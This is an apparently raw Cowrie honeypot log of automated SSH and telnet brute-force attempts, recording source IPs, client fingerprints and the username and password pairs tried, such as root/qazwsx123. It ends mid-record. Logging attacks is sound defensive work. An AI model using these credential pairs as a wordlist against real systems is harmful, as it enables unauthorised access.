{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:30:00.980962Z","src_ip":"91.92.40.4","session":"b860aa574a43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.159.200","src_port":59198,"dst_ip":"159.203.135.109","dst_port":22,"session":"296050f94606","protocol":"ssh","message":"New connection: 162.214.159.200:59198 (159.203.135.109:22) [session: 296050f94606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:30:21.324050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:30:21.328413Z","src_ip":"162.214.159.200","session":"296050f94606","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:30:21.417746Z","src_ip":"162.214.159.200","session":"296050f94606","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P1x3l!S3cur3","message":"login attempt [root/P1x3l!S3cur3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:30:21.692938Z","src_ip":"162.214.159.200","session":"296050f94606","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:30:23.084517Z","src_ip":"162.214.159.200","session":"296050f94606","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.21.248.43","src_port":56790,"dst_ip":"159.203.135.109","dst_port":22,"session":"40a5e03328ab","protocol":"ssh","message":"New connection: 213.21.248.43:56790 (159.203.135.109:22) [session: 40a5e03328ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:30:26.121823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:30:26.124790Z","src_ip":"213.21.248.43","session":"40a5e03328ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:30:26.198672Z","src_ip":"213.21.248.43","session":"40a5e03328ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"li123321","message":"login attempt [root/li123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:30:26.527603Z","src_ip":"213.21.248.43","session":"40a5e03328ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:30:27.604397Z","src_ip":"213.21.248.43","session":"40a5e03328ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.251.137","src_port":40298,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b9243398212","protocol":"ssh","message":"New connection: 198.12.251.137:40298 (159.203.135.109:22) [session: 3b9243398212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:30:36.164721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:30:36.168774Z","src_ip":"198.12.251.137","session":"3b9243398212","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:30:36.240601Z","src_ip":"198.12.251.137","session":"3b9243398212","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jakarta","password":"JKT#Ethereum@P@ss99","message":"login attempt [jakarta/JKT#Ethereum@P@ss99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:30:36.439126Z","src_ip":"198.12.251.137","session":"3b9243398212","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:30:37.511685Z","src_ip":"198.12.251.137","session":"3b9243398212","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.25.72","src_port":54974,"dst_ip":"159.203.135.109","dst_port":22,"session":"3be68d1a8abd","protocol":"ssh","message":"New connection: 154.221.25.72:54974 (159.203.135.109:22) [session: 3be68d1a8abd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:30:58.772281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:30:58.776142Z","src_ip":"154.221.25.72","session":"3be68d1a8abd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:30:58.984925Z","src_ip":"154.221.25.72","session":"3be68d1a8abd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123.","message":"login attempt [root/qazwsx123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:30:59.875453Z","src_ip":"154.221.25.72","session":"3be68d1a8abd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:31:01.087264Z","src_ip":"154.221.25.72","session":"3be68d1a8abd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.93502712249756,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:31:01.667973Z","src_ip":"137.184.5.188","session":"8427e369dee9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":57468,"dst_ip":"159.203.135.109","dst_port":22,"session":"60d6e26f1edb","protocol":"ssh","message":"New connection: 178.20.210.208:57468 (159.203.135.109:22) [session: 60d6e26f1edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:31:05.105557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:31:05.109743Z","src_ip":"178.20.210.208","session":"60d6e26f1edb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:31:05.215901Z","src_ip":"178.20.210.208","session":"60d6e26f1edb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2WSX3EDC","message":"login attempt [root/1qaz2WSX3EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:31:05.605583Z","src_ip":"178.20.210.208","session":"60d6e26f1edb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:31:06.708064Z","src_ip":"178.20.210.208","session":"60d6e26f1edb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.97.112.179","src_port":54801,"dst_ip":"159.203.135.109","dst_port":23,"session":"243f69daa05a","protocol":"telnet","message":"New connection: 222.97.112.179:54801 (159.203.135.109:23) [session: 243f69daa05a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:31:35.644484Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ivdev","message":"login attempt [root/ivdev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:31:36.475431Z","src_ip":"222.97.112.179","session":"243f69daa05a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:31:37.367552Z","src_ip":"222.97.112.179","session":"243f69daa05a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:31:38.267909Z","src_ip":"222.97.112.179","session":"243f69daa05a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.127.234","src_port":35026,"dst_ip":"159.203.135.109","dst_port":22,"session":"12d55a1cbefa","protocol":"ssh","message":"New connection: 14.103.127.234:35026 (159.203.135.109:22) [session: 12d55a1cbefa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:31:51.473515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:31:51.477143Z","src_ip":"14.103.127.234","session":"12d55a1cbefa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:31:51.679272Z","src_ip":"14.103.127.234","session":"12d55a1cbefa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":59520,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fea448f5ac1","protocol":"ssh","message":"New connection: 159.65.58.200:59520 (159.203.135.109:22) [session: 5fea448f5ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:31:52.510401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:31:52.899973Z","src_ip":"159.65.58.200","session":"5fea448f5ac1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:31:52.902350Z","src_ip":"159.65.58.200","session":"5fea448f5ac1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Gx123456","message":"login attempt [root/Gx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:31:53.075063Z","src_ip":"14.103.127.234","session":"12d55a1cbefa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:31:54.277781Z","src_ip":"14.103.127.234","session":"12d55a1cbefa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sidorov","password":"123456","message":"login attempt [sidorov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:31:54.299564Z","src_ip":"159.65.58.200","session":"5fea448f5ac1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:31:55.599780Z","src_ip":"159.65.58.200","session":"5fea448f5ac1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.71","src_port":53646,"dst_ip":"159.203.135.109","dst_port":22,"session":"9553de136d3e","protocol":"ssh","message":"New connection: 92.118.39.71:53646 (159.203.135.109:22) [session: 9553de136d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:04.113300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:04.154831Z","src_ip":"92.118.39.71","session":"9553de136d3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 